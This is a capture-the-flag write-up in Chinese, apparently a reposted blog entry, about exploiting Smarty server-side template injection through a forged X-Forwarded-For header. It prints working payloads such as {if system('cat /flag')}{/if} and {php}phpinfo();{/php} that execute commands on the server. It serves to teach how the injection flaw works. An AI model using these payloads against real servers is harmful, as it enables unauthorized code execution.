当前位置:网站首页>[BJDCTF2020]The mystery of ip
[BJDCTF2020]The mystery of ip
2022-06-27 03:54:00 【借zj文章[de]BvxiE】
[BJDCTF2020]The mystery of ip

题目存在提示注意ip
观察界面,存在按钮,点进发现自己的ip,尝试进行抓包,伪造ip,X-Forwarded-For:127.0.0.1
可行,SSTI模板注入,继续往下,尝试X-Forwarded-For:{ {config}},报错,从报错提示中发现,这是Smarty 模板引擎
附上一个博客,有机会再系统学习!尝试{if phpinfo()}{/if}标签,执行成功回。
继续执行查看这个flag.php的文件,X-Forwarded-For:{if system('cat /flag')}{/if} 成功解题
总结一下:这个题
SSTI模板注入这个老生常谈的漏洞模板,摘抄于文中链接
将XFF头改为 {6*7} 会发现该位置的值变为了42,便可以确定这里存在SSTI。
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导至了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
$smarty内置变量可用于访问各种环境变量
{
$smarty.version} #获取smarty的版本号
{
php}phpinfo();{
/php} #执行相应的php代码
{
if phpinfo()}{
/if}
Smarty的 {
if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{
if}必须有一个配对的{
/if},也可以使用{
else} 和 {
elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*,or,&&,and,is_array()等等,如:{
if is_array($array)}{
/if}*
边栏推荐
猜你喜欢

2021:Beyond Question-Based Biases:Assessing Multimodal Shortcut Learning in Visual Question Answeri
![[数组]BM94 接雨水问题-较难](/img/2b/1934803060d65ea9139ec489a2c5f5.png)
[数组]BM94 接雨水问题-较难

栈溢出漏洞

Pat grade a 1018 public bike management

PAT甲级 1025 PAT Ranking

Static timing analysis OCV and time derive

Pat grade a 1020 tree Traversals

Kotlin Compose 隐式传参 CompositionLocalProvider

2019LXMERT:Learning Cross-Modality Encoder Representations from Transformers

SAI钢笔工具如何使用,入门篇
随机推荐
投资理财产品的钱有保障吗?会不会没有了?
2021:Passage Retrieval for Outside-KnowledgeVisual Question Answering通道检索的外部知识视觉问答
PAT甲级 1021 Deepest Root
文旅夜游|以沉浸式视觉体验激发游客的热情
NestJS环境变量配置,解决如何在拦截器(interceptor)注入服务(service)的问题
Why does C throw exceptions when accessing null fields?
2019LXMERT:Learning Cross-Modality Encoder Representations from Transformers
百度飞桨“万有引力”2022首站落地苏州,全面启动中小企业赋能计划
低代码开发平台NocoBase的安装
Is the money invested in financial products guaranteed? Is there no more?
Pat grade a 1025 pat ranking
苹果手机证书构体知识
Topolvm: kubernetes local persistence scheme based on LVM, capacity aware, dynamically create PV, and easily use local disk
[promise I] introduction of promise and key issues of hand rolling
Products change the world
使用promise的基本功能【四、Promise源码】
办公室VR黄片,骚操作!微软HoloLens之父辞职!
如何让 EF Core 6 支持 DateOnly 类型
2021:passage retrieval for outside knowledgevisual question answering
【promise一】promise的介绍与手撸的关键问题